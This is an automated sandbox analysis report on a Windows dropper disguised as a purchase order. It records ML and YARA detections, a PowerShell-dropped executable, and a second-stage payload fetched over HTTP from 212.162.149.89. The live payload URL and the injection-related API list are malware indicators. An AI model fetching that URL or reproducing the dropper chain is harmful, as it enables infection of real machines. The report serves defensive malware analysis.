Windows Analysis Report
PO. A-72 9234567.exe

AI detected suspicious sample

Source: Yara match

File source: 0000000E.00000002.3372446801.000000001F9D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: PO. A-72 9234567.exe

Joe Sandbox ML: detected

Source: PO. A-72 9234567.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: PO. A-72 9234567.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: wntdll.pdbUGP source: Notanencephalia.exe, 0000000E.00000002.3372478984.000000001FD40000.00000040.00001000.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000002.3372478984.000000001FEDE000.00000040.00001000.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000003.3314246777.000000001F9D7000.00000004.00000020.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000003.3316271260.000000001FB8F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Notanencephalia.exe, Notanencephalia.exe, 0000000E.00000002.3372478984.000000001FD40000.00000040.00001000.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000002.3372478984.000000001FEDE000.00000040.00001000.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000003.3314246777.000000001F9D7000.00000004.00000020.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000003.3316271260.000000001FB8F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdb source: powershell.exe, 00000002.00000002.3112960418.0000000008A49000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000002.00000002.3097443257.0000000003079000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Code function: 0_2_0040689E FindFirstFileW,FindClose,	0_2_0040689E
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Code function: 0_2_00405C4D GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C4D
Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Code function: 0_2_00402930 FindFirstFileW,	0_2_00402930

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49967 -> 212.162.149.89:80

Source: global traffic

HTTP traffic detected: GET /KSMZNlmay152.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: 212.162.149.89Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.162.149.89

Source: global traffic

HTTP traffic detected: GET /KSMZNlmay152.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: 212.162.149.89Cache-Control: no-cache

Source: Notanencephalia.exe, 0000000E.00000002.3360242550.00000000040D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.162.149.89/
Source: Notanencephalia.exe, 0000000E.00000002.3360242550.0000000004098000.00000004.00000020.00020000.00000000.sdmp, Notanencephalia.exe, 0000000E.00000002.3372119761.000000001F1F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://212.162.149.89/KSMZNlmay152.bin
Source: Notanencephalia.exe, 0000000E.00000002.3360242550.0000000004098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.162.149.89/KSMZNlmay152.bin(
Source: Notanencephalia.exe, 0000000E.00000002.3360242550.0000000004098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.162.149.89/KSMZNlmay152.binp
Source: powershell.exe, 00000002.00000002.3103991276.00000000077F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: svchost.exe, 0000000B.00000002.3417307334.0000022D74000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.11.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: PO. A-72 9234567.exe, Notanencephalia.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.3102158984.000000000624B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.3099047054.0000000005337000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3103991276.00000000077F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.3099047054.0000000005337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000002.00000002.3099047054.00000000051E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.3099047054.0000000005337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000002.00000002.3099047054.0000000005337000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3103991276.00000000077F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.3112960418.0000000008A22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: powershell.exe, 00000002.00000002.3099047054.00000000051E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000002.00000002.3099047054.0000000005337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000002.00000002.3102158984.000000000624B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.3102158984.000000000624B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.3102158984.000000000624B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: qmgr.db.11.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000B.00000003.2466483235.0000022D73E50000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000002.00000002.3099047054.0000000005337000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3103991276.00000000077F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.3102158984.000000000624B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe

Code function: 0_2_00405705 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405705

E-Banking Fraud

Source: Yara match

File source: 0000000E.00000002.3372446801.000000001F9D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB35C0 NtCreateMutant,LdrInitializeThunk,	14_2_1FDB35C0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2DF0 NtQuerySystemInformation,LdrInitializeThunk,	14_2_1FDB2DF0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2C70 NtFreeVirtualMemory,LdrInitializeThunk,	14_2_1FDB2C70
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2B60 NtClose,LdrInitializeThunk,	14_2_1FDB2B60
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB3D70 NtOpenThread,	14_2_1FDB3D70
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB3D10 NtOpenProcessToken,	14_2_1FDB3D10
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB39B0 NtGetContextThread,	14_2_1FDB39B0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB3090 NtSetValueKey,	14_2_1FDB3090
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB3010 NtOpenDirectoryObject,	14_2_1FDB3010
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2FE0 NtCreateFile,	14_2_1FDB2FE0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2F90 NtProtectVirtualMemory,	14_2_1FDB2F90
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2FB0 NtResumeThread,	14_2_1FDB2FB0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2FA0 NtQuerySection,	14_2_1FDB2FA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2F60 NtCreateProcessEx,	14_2_1FDB2F60
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2F30 NtCreateSection,	14_2_1FDB2F30
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2EE0 NtQueueApcThread,	14_2_1FDB2EE0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2E80 NtReadVirtualMemory,	14_2_1FDB2E80
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2EA0 NtAdjustPrivilegesToken,	14_2_1FDB2EA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2E30 NtWriteVirtualMemory,	14_2_1FDB2E30
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2DD0 NtDelayExecution,	14_2_1FDB2DD0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2DB0 NtEnumerateKey,	14_2_1FDB2DB0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2D10 NtMapViewOfSection,	14_2_1FDB2D10
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2D00 NtSetInformationFile,	14_2_1FDB2D00
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2D30 NtUnmapViewOfSection,	14_2_1FDB2D30
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2CC0 NtQueryVirtualMemory,	14_2_1FDB2CC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2CF0 NtOpenProcess,	14_2_1FDB2CF0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2CA0 NtQueryInformationToken,	14_2_1FDB2CA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2C60 NtCreateKey,	14_2_1FDB2C60
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2C00 NtQueryInformationProcess,	14_2_1FDB2C00
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2BF0 NtAllocateVirtualMemory,	14_2_1FDB2BF0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2BE0 NtQueryValueKey,	14_2_1FDB2BE0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2B80 NtQueryInformationFile,	14_2_1FDB2B80
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2BA0 NtEnumerateValueKey,	14_2_1FDB2BA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2AD0 NtReadFile,	14_2_1FDB2AD0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2AF0 NtWriteFile,	14_2_1FDB2AF0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB2AB0 NtWaitForSingleObject,	14_2_1FDB2AB0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB4650 NtSuspendThread,	14_2_1FDB4650
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB4340 NtSetContextThread,	14_2_1FDB4340

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe

Code function: 0_2_0040351C EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040351C

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\PO. A-72 9234567.exe	Code function: 0_2_00406C5F	0_2_00406C5F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04C9C645	2_2_04C9C645
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04C9B4CF	2_2_04C9B4CF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04C91505	2_2_04C91505
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD43FD5	14_2_1FD43FD5
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD43FD2	14_2_1FD43FD2
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD81F92	14_2_1FD81F92
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3FFB1	14_2_1FE3FFB1
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3FF09	14_2_1FE3FF09
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD89EB0	14_2_1FD89EB0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9FDC0	14_2_1FD9FDC0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE37D73	14_2_1FE37D73
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83D40	14_2_1FD83D40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE31D5A	14_2_1FE31D5A
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3FCF2	14_2_1FE3FCF2
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF9C32	14_2_1FDF9C32
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDBDBF9	14_2_1FDBDBF9
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF5BF0	14_2_1FDF5BF0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9FB80	14_2_1FD9FB80
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3FB76	14_2_1FE3FB76
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2DAC6	14_2_1FE2DAC6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE21AA3	14_2_1FE21AA3
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1DAAC	14_2_1FE1DAAC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDC5AA0	14_2_1FDC5AA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE37A46	14_2_1FE37A46
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3FA49	14_2_1FE3FA49
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF3A6C	14_2_1FDF3A6C
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD89950	14_2_1FD89950
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9B950	14_2_1FD9B950
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE15910	14_2_1FE15910
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD838E0	14_2_1FD838E0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDED800	14_2_1FDED800
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3F7B0	14_2_1FE3F7B0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE316CC	14_2_1FE316CC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDC5630	14_2_1FDC5630
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE495C3	14_2_1FE495C3
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1D5B0	14_2_1FE1D5B0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE37571	14_2_1FE37571
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD71460	14_2_1FD71460
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3F43F	14_2_1FE3F43F
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDC739A	14_2_1FDC739A
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6D34C	14_2_1FD6D34C
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3132D	14_2_1FE3132D
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE212ED	14_2_1FE212ED
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9B2C0	14_2_1FD9B2C0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD852A0	14_2_1FD852A0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD8B1B0	14_2_1FD8B1B0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE4B16B	14_2_1FE4B16B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F172	14_2_1FD6F172
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB516C	14_2_1FDB516C
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3F0E0	14_2_1FE3F0E0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE370E9	14_2_1FE370E9
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD870C0	14_2_1FD870C0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2F0CC	14_2_1FE2F0CC
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD72FC8	14_2_1FD72FC8
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD8CFE0	14_2_1FD8CFE0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFEFA0	14_2_1FDFEFA0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF4F40	14_2_1FDF4F40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE22F30	14_2_1FE22F30
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA0F30	14_2_1FDA0F30
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDC2F28	14_2_1FDC2F28
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3EEDB	14_2_1FE3EEDB
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD92E90	14_2_1FD92E90
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3CE93	14_2_1FE3CE93
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD80E59	14_2_1FD80E59
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3EE26	14_2_1FE3EE26
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7ADE0	14_2_1FD7ADE0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD98DBF	14_2_1FD98DBF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD8AD00	14_2_1FD8AD00
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1CD1F	14_2_1FE1CD1F
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD70CF2	14_2_1FD70CF2
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE20CB5	14_2_1FE20CB5
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD80C00	14_2_1FD80C00
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE36BD7	14_2_1FE36BD7
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3AB40	14_2_1FE3AB40
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7EA80	14_2_1FD7EA80
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE4A9A6	14_2_1FE4A9A6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD829A0	14_2_1FD829A0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD96962	14_2_1FD96962
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDAE8F0	14_2_1FDAE8F0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD668B8	14_2_1FD668B8
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD8A840	14_2_1FD8A840
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD82840	14_2_1FD82840
